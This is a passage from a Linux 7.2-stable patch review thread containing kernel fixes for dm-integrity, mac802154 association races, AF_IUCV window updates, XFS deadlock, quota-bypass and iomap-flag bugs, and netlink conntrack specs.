filesystems wait for writeback folios to become stable before modifying
them again. Journal mode is left unchanged because it copies data into
the journal before computing and persisting the tag.
Tested using dm-delay over a virtio-blk test disk, dm-integrity
internal_hash:crc32c and no-journal ext4. The D and B reproducers both
failed with checksum errors before this change and completed with
READ_RC=0 and zero mismatches after it.
Fixes: 7eada909bfd7 ("dm: add integrity target")
Cc: stable@vger.kernel.org
Reported-by: Sun Yangkai <sunyangkai@fygo.io>
Link: https://github.com/chencheng-fnnas/reproducer/blob/main/dm-integrity-writeback-race.py
Signed-off-by: Chen Cheng <chencheng@fnnas.com>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/md/dm-integrity.c | 4 ++++
1 file changed, 4 insertions(+)
--- a/drivers/md/dm-integrity.c
+++ b/drivers/md/dm-integrity.c
@@ -4176,6 +4176,10 @@ static void dm_integrity_io_hints(struct
limits->dma_alignment = limits->logical_block_size - 1;
limits->discard_granularity = ic->sectors_per_block << SECTOR_SHIFT;
+ if (ic->internal_hash &&
+ (ic->mode == 'D' || ic->mode == 'B' || ic->mode == 'I'))
+ limits->features |= BLK_FEAT_STABLE_WRITES;
+
if (!ic->internal_hash) {
struct blk_integrity *bi = &limits->integrity;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 188/242] mac802154: fix data race and NULL deref on local->assoc_dev
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (184 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 187/242] dm-integrity: require stable writes for internal hash modes Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 189/242] net/iucv: fix the recvmsg window update Greg Kroah-Hartman
` (55 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Miquel Raynal, Xuanqiang Luo,
Kaiwen Shi, Xuanqiang Luo, Paolo Abeni
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
commit c037915f80c4db47f7d061d68e703ffd551b1a34 upstream.
local->assoc_dev is shared between the association path and the
association-response worker without common synchronization.
mac802154_perform_association() stores the coordinator pointer and waits
for a response. Its timeout and error paths clear the pointer and return
to mac802154_associate(), which may then free the coordinator object.
Meanwhile, mac802154_rx_mac_cmd_worker() may observe the associating bit
and enter mac802154_process_association_resp(), which dereferences
assoc_dev.
The worker's bit test and the handler's pointer dereference are not
atomic with respect to cleanup. Cleanup can clear assoc_dev between them,
causing a NULL dereference, or free the coordinator while the response
handler still uses the pointer.
The recorded result is exposed to the same window. assoc_status and
assoc_addr are written by the handler but read by the association path
while the associating bit is still set, so a second response for the same
request - a malicious one, for instance - can replace them between those
reads and leave the caller with an incoherent status and address pair.
The response handler only needs the coordinator extended address.
Replace assoc_dev with a cached address, removing the pointer lifetime
dependency. Protect the cached address and the associating bit with a
dedicated spinlock. A READ_ONCE()/WRITE_ONCE() pair would not guarantee
an atomic __le64 access on all 32-bit architectures.
wpan_dev->association_lock cannot be reused here: nl802154_associate()
holds it across rdev_associate(), hence for the whole of
mac802154_perform_association() including the wait for the response.
A response handler taking that lock would only get it once the
association has already given up.
Reset the completion, publish the cached address, and set the associating
bit while holding the lock. The response handler takes the lock, rechecks
the bit and the cached address, records the response, clears the bit, and
only then completes the waiter. Thus cleanup cannot pass the handler
between its state check and completion, and the cached 64-bit value
cannot tear.
The handler clears the bit before completing, not the woken waiter:
otherwise complete() is issued under the lock and a second (e.g.
malicious) response can reacquire it before the waiter and replace the
result. So a wait that returns success implies the bit is already clear,
and the success and negative-response paths return directly. The
transmit-error and timeout paths still clear it under assoc_lock, which
serializes any racing response against the cleanup while the call returns
the error it already selected. Both paths snapshot assoc_status and
assoc_addr under the same lock.
Both users run in process context, so a plain spinlock is sufficient.
The lock is not held while waiting for the completion.
Suggested-by: Miquel Raynal <miquel.raynal@bootlin.com>
Suggested-by: Xuanqiang Luo <xuanqiang.luo@linux.dev>
Fixes: fefd19807fe9 ("mac802154: Handle associating")
Cc: stable@vger.kernel.org
Signed-off-by: Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
Reviewed-by: Xuanqiang Luo <luoxuanqiang@kylinos.cn>
Reviewed-by: Miquel Raynal <miquel.raynal@bootlin.com>
Link: https://patch.msgid.link/20260829230551.1787432-1-skwkevin@mail.ustc.edu.cn
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/mac802154/ieee802154_i.h | 7 +++++
net/mac802154/main.c | 1
net/mac802154/scan.c | 51 ++++++++++++++++++++++++++++++++-----------
3 files changed, 45 insertions(+), 14 deletions(-)
--- a/net/mac802154/ieee802154_i.h
+++ b/net/mac802154/ieee802154_i.h
@@ -80,7 +80,12 @@ struct ieee802154_local {
spinlock_t rx_lock;
/* Association */
- struct ieee802154_pan_device *assoc_dev;
+ /* assoc_lock protects assoc_dev_extended_addr, assoc_addr,
+ * assoc_status, the assoc_done reinit/complete pairing and the
+ * IEEE802154_IS_ASSOCIATING bit in @ongoing.
+ */
+ spinlock_t assoc_lock;
+ __le64 assoc_dev_extended_addr;
struct completion assoc_done;
__le16 assoc_addr;
u8 assoc_status;
--- a/net/mac802154/main.c
+++ b/net/mac802154/main.c
@@ -105,6 +105,7 @@ ieee802154_alloc_hw(size_t priv_data_len
INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
init_completion(&local->assoc_done);
+ spin_lock_init(&local->assoc_lock);
/* init supported flags with 802.15.4 default ranges */
phy->supported.max_minbe = 8;
--- a/net/mac802154/scan.c
+++ b/net/mac802154/scan.c
@@ -532,7 +532,9 @@ int mac802154_perform_association(struct
struct ieee802154_association_req_frame frame = {};
struct ieee802154_local *local = sdata->local;
struct wpan_dev *wpan_dev = &sdata->wpan_dev;
+ __le16 resp_short_addr;
struct sk_buff *skb;
+ u8 resp_status;
int ret;
frame.mhr.fc.type = IEEE802154_FC_TYPE_MAC_CMD;
@@ -574,9 +576,11 @@ int mac802154_perform_association(struct
return ret;
}
- local->assoc_dev = coord;
+ spin_lock(&local->assoc_lock);
reinit_completion(&local->assoc_done);
+ local->assoc_dev_extended_addr = coord->extended_addr;
set_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing);
+ spin_unlock(&local->assoc_lock);
ret = ieee802154_mlme_tx_one_locked(local, sdata, skb);
if (ret) {
@@ -595,25 +599,37 @@ int mac802154_perform_association(struct
goto clear_assoc;
}
- if (local->assoc_status != IEEE802154_ASSOCIATION_SUCCESSFUL) {
- if (local->assoc_status == IEEE802154_PAN_AT_CAPACITY)
+ /* The association is complete: mac802154_process_association_resp()
+ * cleared the associating bit before waking us, so a second (e.g.
+ * malicious) ASSOC RESP can no longer pass the recheck and overwrite
+ * the result. Snapshot assoc_status/assoc_addr under the lock.
+ */
+ spin_lock(&local->assoc_lock);
+ resp_status = local->assoc_status;
+ resp_short_addr = local->assoc_addr;
+ spin_unlock(&local->assoc_lock);
+
+ if (resp_status != IEEE802154_ASSOCIATION_SUCCESSFUL) {
+ if (resp_status == IEEE802154_PAN_AT_CAPACITY)
ret = -ERANGE;
else
ret = -EPERM;
dev_warn(&sdata->dev->dev,
"Negative ASSOC RESP received from %8phC: %s\n", &ceaddr,
- local->assoc_status == IEEE802154_PAN_AT_CAPACITY ?
+ resp_status == IEEE802154_PAN_AT_CAPACITY ?
"PAN at capacity" : "access denied");
- goto clear_assoc;
+ return ret;
}
- ret = 0;
- *short_addr = local->assoc_addr;
+ *short_addr = resp_short_addr;
+
+ return 0;
clear_assoc:
+ spin_lock(&local->assoc_lock);
clear_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing);
- local->assoc_dev = NULL;
+ spin_unlock(&local->assoc_lock);
return ret;
}
@@ -635,19 +651,28 @@ int mac802154_process_association_resp(s
dest->mode != IEEE802154_EXTENDED_ADDRESSING))
return -EINVAL;
- if (unlikely(dest->extended_addr != wpan_dev->extended_addr ||
- src->extended_addr != local->assoc_dev->extended_addr))
+ spin_lock(&local->assoc_lock);
+ if (unlikely(!test_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing) ||
+ dest->extended_addr != wpan_dev->extended_addr ||
+ src->extended_addr != local->assoc_dev_extended_addr)) {
+ spin_unlock(&local->assoc_lock);
return -ENODEV;
+ }
memcpy(&resp_pl, skb->data, sizeof(resp_pl));
local->assoc_addr = resp_pl.short_addr;
local->assoc_status = resp_pl.status;
+ /* Clear the associating bit before waking the waiter: once the result
+ * is saved, any subsequent (e.g. malicious) ASSOC RESP must fail the
+ * test_bit() recheck above and can no longer overwrite the result.
+ */
+ clear_bit(IEEE802154_IS_ASSOCIATING, &local->ongoing);
+ complete(&local->assoc_done);
+ spin_unlock(&local->assoc_lock);
dev_dbg(&skb->dev->dev,
"ASSOC RESP 0x%x received from %8phC, getting short address %04x\n",
- local->assoc_status, &deaddr, local->assoc_addr);
-
- complete(&local->assoc_done);
+ resp_pl.status, &deaddr, resp_pl.short_addr);
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 189/242] net/iucv: fix the recvmsg window update
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (185 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 188/242] mac802154: fix data race and NULL deref on local->assoc_dev Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 190/242] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf Greg Kroah-Hartman
` (54 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Aswin Karuvally, Bryam Vargas,
Alexandra Winter, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bryam Vargas <hexlabsecurity@proton.me>
commit fa5acd038ea657ad5033713d6916214cbd349151 upstream.
iucv_sock_recvmsg() sends the HiperSockets-only AF_IUCV_FLAG_WIN without
testing the transport, so on a classic z/VM socket iucv_send_ctrl() sizes
the skb through a NULL iucv->hs_dev. SO_MSGLIMIT accepts 1, so msglimit / 2
is zero and one recvmsg() on its own socket is enough for an unprivileged
process to take a spurious disconnect.
It also calls iucv_send_ctrl() under spin_lock_bh(&message_q.lock), which
allocates GFP_KERNEL inside a section the code treats as atomic. Sending
outside that lock lets two recvmsg() reach afiucv_hs_send() at once, where
msg_recv is sampled for the advertised window and subtracted after
dev_queue_xmit() -- and sendmsg reaches that counter under lock_sock()
while recvmsg holds no socket lock, so both can subtract the same value,
the counter goes negative and the credit reaches the peer twice.
Test the transport, claim the credit with atomic_xchg() after the last
error exit and hand it back if the transmit fails, and send once the lock
is dropped.
Fixes: 3881ac441f64 ("af_iucv: add HiperSockets transport")
Fixes: 238965b71b96 ("net/af_iucv: build proper skbs for HiperTransport")
Cc: stable@vger.kernel.org
Tested-by: Aswin Karuvally <aswin@linux.ibm.com>
Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
Reviewed-by: Alexandra Winter <wintera@linux.ibm.com>
Link: https://patch.msgid.link/20260828-b4-disp-33fac0ed-v3-1-e6d061880ee0@proton.me
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/iucv/af_iucv.c | 42 +++++++++++++++++++++++++-----------------
1 file changed, 25 insertions(+), 17 deletions(-)
--- a/net/iucv/af_iucv.c
+++ b/net/iucv/af_iucv.c
@@ -210,12 +210,6 @@ static int afiucv_hs_send(struct iucv_me
phs_hdr->flags = flags;
if (flags == AF_IUCV_FLAG_SYN)
phs_hdr->window = iucv->msglimit;
- else if ((flags == AF_IUCV_FLAG_WIN) || !flags) {
- confirm_recv = atomic_read(&iucv->msg_recv);
- phs_hdr->window = confirm_recv;
- if (confirm_recv)
- phs_hdr->flags = phs_hdr->flags | AF_IUCV_FLAG_WIN;
- }
memcpy(phs_hdr->destUserID, iucv->dst_user_id, 8);
memcpy(phs_hdr->destAppName, iucv->dst_name, 8);
memcpy(phs_hdr->srcUserID, iucv->src_user_id, 8);
@@ -250,13 +244,22 @@ static int afiucv_hs_send(struct iucv_me
}
skb->protocol = cpu_to_be16(ETH_P_AF_IUCV);
+ /* Claim the receive credit here, not while building the header: every
+ * way this frame can be dropped has now been ruled out, so the window
+ * is zeroed only for as long as the transmit itself takes.
+ */
+ if (flags == AF_IUCV_FLAG_WIN || !flags) {
+ confirm_recv = atomic_xchg(&iucv->msg_recv, 0);
+ phs_hdr->window = confirm_recv;
+ if (confirm_recv)
+ phs_hdr->flags = phs_hdr->flags | AF_IUCV_FLAG_WIN;
+ }
+
atomic_inc(&iucv->skbs_in_xmit);
err = dev_queue_xmit(skb);
if (net_xmit_eval(err)) {
atomic_dec(&iucv->skbs_in_xmit);
- } else {
- atomic_sub(confirm_recv, &iucv->msg_recv);
- WARN_ON(atomic_read(&iucv->msg_recv) < 0);
+ atomic_add(confirm_recv, &iucv->msg_recv);
}
return net_xmit_eval(err);
@@ -1241,6 +1244,7 @@ static int iucv_sock_recvmsg(struct sock
struct iucv_sock *iucv = iucv_sk(sk);
unsigned int copied, rlen;
struct sk_buff *skb, *rskb, *cskb;
+ bool send_win = false;
int err = 0;
u32 offset;
@@ -1331,16 +1335,20 @@ static int iucv_sock_recvmsg(struct sock
if (skb_queue_empty(&iucv->backlog_skb_q)) {
if (!list_empty(&iucv->message_q.list))
iucv_process_message_q(sk);
- if (atomic_read(&iucv->msg_recv) >=
- iucv->msglimit / 2) {
- err = iucv_send_ctrl(sk, AF_IUCV_FLAG_WIN);
- if (err) {
- sk->sk_state = IUCV_DISCONN;
- sk->sk_state_change(sk);
- }
- }
+ if (iucv->transport == AF_IUCV_TRANS_HIPER &&
+ atomic_read(&iucv->msg_recv) >=
+ iucv->msglimit / 2)
+ send_win = true;
}
spin_unlock_bh(&iucv->message_q.lock);
+
+ if (send_win) {
+ err = iucv_send_ctrl(sk, AF_IUCV_FLAG_WIN);
+ if (err) {
+ sk->sk_state = IUCV_DISCONN;
+ sk->sk_state_change(sk);
+ }
+ }
}
done:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 190/242] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (186 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 189/242] net/iucv: fix the recvmsg window update Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 191/242] xfs: fix capability check in xfs Greg Kroah-Hartman
` (53 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+837bcd54843dd6262f2f,
Yun Zhou, Christoph Hellwig, Carlos Maiolino
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yun Zhou <yun.zhou@windriver.com>
commit 41a28c865d1d5843f8cb9e0af17a8f4d9e2961ff upstream.
xfs_sync_sb_buf() holds sb/rtsb buffer locks across a synchronous
xfs_trans_commit(), which flushes the CIL push workqueue internally.
If shutdown occurs during the CIL push, xfs_buf_item_unpin() needs to
lock these buffers to fail them, causing a deadlock:
setlabel: holds buf lock -> flush_workqueue(xfs-cil)
CIL push worker: xfs_buf_item_unpin -> xfs_buf_lock(same buf)
Remove the xfs_trans_bhold() calls so that commit releases the buffer
locks normally. After the sync commit, re-acquire the buffers via
mp->m_sb_bp / mp->m_rtsb_bp for the on-disk writeback.
Fixes: f7664b31975b ("xfs: implement online get/set fs label")
Reported-by: syzbot+837bcd54843dd6262f2f@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=837bcd54843dd6262f2f
Cc: stable@vger.kernel.org
Signed-off-by: Yun Zhou <yun.zhou@windriver.com>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Carlos Maiolino <cem@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/xfs/libxfs/xfs_rtgroup.h | 6 +++++-
fs/xfs/libxfs/xfs_sb.c | 37 +++++++++++++++++--------------------
2 files changed, 22 insertions(+), 21 deletions(-)
--- a/fs/xfs/libxfs/xfs_rtgroup.h
+++ b/fs/xfs/libxfs/xfs_rtgroup.h
@@ -359,7 +359,11 @@ static inline int xfs_initialize_rtgroup
# define xfs_rtgroup_unlock(rtg, gf) ((void)0)
# define xfs_rtgroup_trans_join(tp, rtg, gf) ((void)0)
# define xfs_update_rtsb(bp, sb_bp) ((void)0)
-# define xfs_log_rtsb(tp, sb_bp) (NULL)
+static inline struct xfs_buf *xfs_log_rtsb(struct xfs_trans *tp,
+ const struct xfs_buf *sb_bp)
+{
+ return NULL;
+}
# define xfs_rtgroup_get_geometry(rtg, rgeo) (-EOPNOTSUPP)
#endif /* CONFIG_XFS_RT */
--- a/fs/xfs/libxfs/xfs_sb.c
+++ b/fs/xfs/libxfs/xfs_sb.c
@@ -1470,36 +1470,33 @@ xfs_sync_sb_buf(
bool update_rtsb)
{
struct xfs_trans *tp;
- struct xfs_buf *bp;
- struct xfs_buf *rtsb_bp = NULL;
int error;
error = xfs_trans_alloc(mp, &M_RES(mp)->tr_sb, 0, 0, 0, &tp);
if (error)
return error;
- bp = xfs_trans_getsb(tp);
xfs_log_sb(tp);
- xfs_trans_bhold(tp, bp);
- if (update_rtsb) {
- rtsb_bp = xfs_log_rtsb(tp, bp);
- if (rtsb_bp)
- xfs_trans_bhold(tp, rtsb_bp);
- }
+ if (update_rtsb)
+ xfs_log_rtsb(tp, xfs_trans_getsb(tp));
xfs_trans_set_sync(tp);
error = xfs_trans_commit(tp);
if (error)
- goto out;
- /*
- * write out the sb buffer to get the changes to disk
- */
- error = xfs_bwrite(bp);
- if (!error && rtsb_bp)
- error = xfs_bwrite(rtsb_bp);
-out:
- if (rtsb_bp)
- xfs_buf_relse(rtsb_bp);
- xfs_buf_relse(bp);
+ return error;
+
+ /* Re-acquire and write the sb and rtsb to disk. */
+ xfs_buf_lock(mp->m_sb_bp);
+ error = xfs_bwrite(mp->m_sb_bp);
+ xfs_buf_unlock(mp->m_sb_bp);
+ if (error)
+ return error;
+
+ if (update_rtsb && mp->m_rtsb_bp) {
+ xfs_buf_lock(mp->m_rtsb_bp);
+ error = xfs_bwrite(mp->m_rtsb_bp);
+ xfs_buf_unlock(mp->m_rtsb_bp);
+ }
+
return error;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 191/242] xfs: fix capability check in xfs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (187 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 190/242] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 192/242] xfs: fix zoned write iomap flags assignments Greg Kroah-Hartman
` (52 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dr. Thomas Orgis, Carlos Maiolino,
Darrick J. Wong, Serge Hallyn, Christoph Hellwig, Carlos Maiolino
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Carlos Maiolino <cem@kernel.org>
commit e2f62a9744ebad3bcb6347a648e615026e9efeff upstream.
An user reported a bug where he managed to evade group's quota
by changing a file's gid to a different group id the same user
belonged to, even though quotas were enforced on both gids and the
file's size was big enough to exceed the quota's hardlimit.
Commit eba0549bc7d1 replaced a capable() call by a
has_capability_noaudit() to prevent unnecessary selinux audit messages.
Turns out that both calls have slightly different semantics even though
their documentation seems similar. Where in a nutshell:
capable() - Tests the task's effective credentials
has_ns_capability_noaudit() - Tests the task's real credentials
This most of the time has no practical difference but in some cases like
changing attrs (specifically group id in this case) through a NFS client
this will allow the quota code to use XFS_QMOPT_FORCE_RES, effectively
bypassing quota accounting checks.
Using instead ns_capable_noaudit() should fix this issue and prevent
selinux audit messages.
This also fix the remaining calls to has_capability_noaudit()
Fixes: eba0549bc7d1 ("xfs: don't generate selinux audit messages for capability testing")
Cc: stable@vger.kernel.org # v5.18
Reported-by: Dr. Thomas Orgis <thomas.orgis@uni-hamburg.de>
Signed-off-by: Carlos Maiolino <cmaiolino@redhat.com>
Reviewed-by: Darrick J. Wong <djwong@kernel.org>
Reviewed-by: Serge Hallyn <sergeh@kernel.org>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Carlos Maiolino <cem@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/xfs/xfs_fsmap.c | 2 +-
fs/xfs/xfs_ioctl.c | 2 +-
fs/xfs/xfs_iops.c | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
--- a/fs/xfs/xfs_fsmap.c
+++ b/fs/xfs/xfs_fsmap.c
@@ -1175,7 +1175,7 @@ xfs_getfsmap(
return -EINVAL;
use_rmap = xfs_has_rmapbt(mp) &&
- has_capability_noaudit(current, CAP_SYS_ADMIN);
+ ns_capable_noaudit(&init_user_ns, CAP_SYS_ADMIN);
head->fmh_entries = 0;
/* Set up our device handlers. */
--- a/fs/xfs/xfs_ioctl.c
+++ b/fs/xfs/xfs_ioctl.c
@@ -647,7 +647,7 @@ xfs_ioctl_setattr_get_trans(
goto out_error;
error = xfs_trans_alloc_ichange(ip, NULL, NULL, pdqp,
- has_capability_noaudit(current, CAP_FOWNER), &tp);
+ ns_capable_noaudit(&init_user_ns, CAP_FOWNER), &tp);
if (error)
goto out_error;
--- a/fs/xfs/xfs_iops.c
+++ b/fs/xfs/xfs_iops.c
@@ -835,7 +835,7 @@ xfs_setattr_nonsize(
}
error = xfs_trans_alloc_ichange(ip, udqp, gdqp, NULL,
- has_capability_noaudit(current, CAP_FOWNER), &tp);
+ ns_capable_noaudit(&init_user_ns, CAP_FOWNER), &tp);
if (error)
goto out_dqrele;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 192/242] xfs: fix zoned write iomap flags assignments
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (188 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 191/242] xfs: fix capability check in xfs Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 193/242] netlink: specs: fix the conntrack filter type Greg Kroah-Hartman
` (51 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christoph Hellwig,
Andrey Albershteyn, Darrick J. Wong, Hans Holmberg,
Damien Le Moal, Carlos Maiolino
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christoph Hellwig <hch@lst.de>
commit 4bc67fc800edcaae8a657e4d2fba12e64e856b9f upstream.
Don't overwrite IOMAP_F_DIRTY with IOMAP_F_ANON_WRITE, but ensure both
flags are set instead.
Note that in practice this is harmless as all zoned writes force a metadata
transaction anyway, but incorrectly assigned flags are still a landmine
that will cause problems at some point.
Fixes: 058dd70c65ab ("xfs: implement buffered writes to zoned RT devices")
Fixes: 2e2383405824 ("xfs: implement direct writes to zoned RT devices")
Cc: stable@vger.kernel.org # v6.15
Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Andrey Albershteyn <aalbersh@kernel.org>
Reviewed-by: Darrick J. Wong <djwong@kernel.org>
Reviewed-by: Hans Holmberg <hans.holmberg@wdc.com>
Reviewed-by: Damien Le Moal <dlemoal@kernel.org>
Signed-off-by: Carlos Maiolino <cem@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/xfs/xfs_aops.c | 3 +--
fs/xfs/xfs_iomap.c | 3 +--
2 files changed, 2 insertions(+), 4 deletions(-)
--- a/fs/xfs/xfs_aops.c
+++ b/fs/xfs/xfs_aops.c
@@ -632,11 +632,10 @@ xfs_zoned_map_blocks(
xfs_iunlock(ip, XFS_ILOCK_EXCL);
wpc->iomap.type = IOMAP_MAPPED;
- wpc->iomap.flags = IOMAP_F_DIRTY;
wpc->iomap.bdev = mp->m_rtdev_targp->bt_bdev;
wpc->iomap.offset = offset;
wpc->iomap.length = XFS_FSB_TO_B(mp, count_fsb);
- wpc->iomap.flags = IOMAP_F_ANON_WRITE;
+ wpc->iomap.flags = IOMAP_F_ANON_WRITE | IOMAP_F_DIRTY;
trace_xfs_zoned_map_blocks(ip, offset, wpc->iomap.length);
return 0;
--- a/fs/xfs/xfs_iomap.c
+++ b/fs/xfs/xfs_iomap.c
@@ -1081,11 +1081,10 @@ xfs_zoned_direct_write_iomap_begin(
}
iomap->type = IOMAP_MAPPED;
- iomap->flags = IOMAP_F_DIRTY;
iomap->bdev = ip->i_mount->m_rtdev_targp->bt_bdev;
iomap->offset = offset;
iomap->length = length;
- iomap->flags = IOMAP_F_ANON_WRITE;
+ iomap->flags = IOMAP_F_ANON_WRITE | IOMAP_F_DIRTY;
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 193/242] netlink: specs: fix the conntrack filter type
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (189 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 192/242] xfs: fix zoned write iomap flags assignments Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 194/242] netlink: specs: add missing mask attributes for conntrack dump Greg Kroah-Hartman
` (50 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ilya Maximets,
Asbjørn Sloth Tønnesen, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ilya Maximets <i.maximets@ovn.org>
commit 2a004bfb62bdb847f25a8001e104bf33922a2cf4 upstream.
The CTA_FILTER doesn't contain nested tuple attributes, instead it
contains bit masks that specify which tuple attributes to filter on.
The values for filtering are taken from the top-level CTA_TUPLE_ORIG
and CTA_TUPLE_REPLY, which are also missing in the attribute list
for the dump request.
The bits themselves somehow are not in the public headers, so not
defining them in the spec either for now. Once they are public in
uAPI, they can be added here with enum-as-flags.
Fixes: 23fc9311a526 ("netlink: specs: add conntrack dump and stats dump support")
Cc: stable@vger.kernel.org
Signed-off-by: Ilya Maximets <i.maximets@ovn.org>
Reviewed-by: Asbjørn Sloth Tønnesen <ast@fiberby.net>
Link: https://patch.msgid.link/20260826220444.4054714-2-i.maximets@ovn.org
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
Documentation/netlink/specs/conntrack.yaml | 15 ++++++++++++++-
1 file changed, 14 insertions(+), 1 deletion(-)
--- a/Documentation/netlink/specs/conntrack.yaml
+++ b/Documentation/netlink/specs/conntrack.yaml
@@ -361,6 +361,17 @@ attribute-sets:
type: u32
byte-order: big-endian
-
+ name: filter-attrs
+ attributes:
+ -
+ name: orig-flags
+ type: u32
+ doc: bitmask of tuple fields to filter on, original direction
+ -
+ name: reply-flags
+ type: u32
+ doc: bitmask of tuple fields to filter on, reply direction
+ -
name: conntrack-attrs
attributes:
-
@@ -466,7 +477,7 @@ attribute-sets:
-
name: filter
type: nest
- nested-attributes: tuple-attrs
+ nested-attributes: filter-attrs
-
name: status-mask
type: u32
@@ -591,6 +602,8 @@ operations:
request:
value: 0x101
attributes:
+ - tuple-orig
+ - tuple-reply
- mark
- filter
- status
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 194/242] netlink: specs: add missing mask attributes for conntrack dump
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (190 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 193/242] netlink: specs: fix the conntrack filter type Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 195/242] io_uring/cancel: dont spin on local work the task cant run Greg Kroah-Hartman
` (49 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ilya Maximets,
Asbjørn Sloth Tønnesen, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ilya Maximets <i.maximets@ovn.org>
commit 8b348496cbec0d5ca24a99f668096e2e16e8fbeb upstream.
'mark-mask' and 'status-mask' are defined and supported by the
conntrack dump, but missing from the list of arguments.
While at it, the order of the arguments should follow the order of
their definition in the enum ctattr_type. That appears to be a common
convention for other spec files.
Fixes: 23fc9311a526 ("netlink: specs: add conntrack dump and stats dump support")
